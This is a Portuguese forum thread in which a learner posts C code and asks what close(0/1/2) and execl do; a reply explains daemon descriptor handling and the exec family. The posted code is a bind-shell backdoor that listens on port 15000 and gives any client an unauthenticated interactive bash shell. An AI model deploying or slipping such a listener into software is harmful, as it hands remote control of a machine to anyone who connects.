Ir ao conteúdo
  • Cadastre-se

Algumas funcoezinha q estao me pegando..


cocordedenator

Posts recomendados

hahaha.. bem.. estou estudando sobre sockets em linux e estou tendo o seguinte probleminha com um certo programa de teste...

o codigo e o seguinte:

#include<stdio.h>

#include<sys/types.h>

#include<sys/socket.h>

#include<netdb.h>

#include<netinet/in.h>

#define PORTA_BACK 15000

#define CONEXOES 15

main()

{

int nsocket, newsocket;

struct sockaddr_in local;

struct sockaddr_in remote;

int tam;

if (fork()==0) {

bzero(&local,sizeof(local));

local.sin_family = AF_INET;

local.sin_port = htons(PORTA_BACK);

local.sin_addr.s_addr = INADDR_ANY;

bzero(&(local.sin_zero),8);

nsocket = socket(AF_INET, SOCK_STREAM, 0);

bind(nsocket, (struct sockaddr *) &local, sizeof(struct sockaddr));

listen(nsocket, CONEXOES);

tam = sizeof(struct sockaddr_in);

while(1)

if ((newsocket = accept(nsocket, (struct sockaddr *)&remote, &tam))==1) {

perror("accept");

exit(1);

}

if(!fork()) {

close(0);

close(1);

close(2);

dup2(newsocket,0);

dup2(newsocket,1);

dup2(newsocket,2);

execl("/bin/bash" , "bash", "-i", (char *)0);

close(newsocket);

exit(0);

}

}

return 0;

}

hahaa... Ta legal... agora que vem o problema...

Quanto a manipulacao de processos usando o fork eu consegui entender perfeitamente... mas não compreendi os seguintes fatos:

* Qual o motivo do close(0); close(1); close(2)? O que eles realmente estão fechando? ou pelo menos qual o motivo deles?

* O que realmente faz a funcao execl?

Por enquanto e so isso mesmo.. hah amuito obrigado... ^_^:devil:

Link para o comentário
Compartilhar em outros sites

close(0), close(1) e close(2) é um processo comum em programas daemons que tem a função de fechar, repectivamente, a entrada padrão, a saida padraõ e a saída de erros do processo. O ideal é fechar não apenas esses descritores de arquivos, mas qualquer descritor que possa estar aberto, então, num daemon, é comum ver coisas do tipo:

for(i = 0; i<= MAX_OPEN_FD;++i)

close(i);

sendo MAX_OPEN_FD o número máximo de descritores de arquivos suportados pelo processo. O motivo de se fechar esses canais é que, geralmente, um daemon usa apenas os serviços do syslog para passar informações.

Quanto a função execl(2), ela faz parte da família de funções execve, e o que ela faz e substituir o processo atual por um novo processo (o que vai ser executado), no caso do seu programa, um bash com a opção de login.

Link para o comentário
Compartilhar em outros sites

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

Sobre o Clube do Hardware

No ar desde 1996, o Clube do Hardware é uma das maiores, mais antigas e mais respeitadas comunidades sobre tecnologia do Brasil. Leia mais

Direitos autorais

Não permitimos a cópia ou reprodução do conteúdo do nosso site, fórum, newsletters e redes sociais, mesmo citando-se a fonte. Leia mais

×
×
  • Criar novo...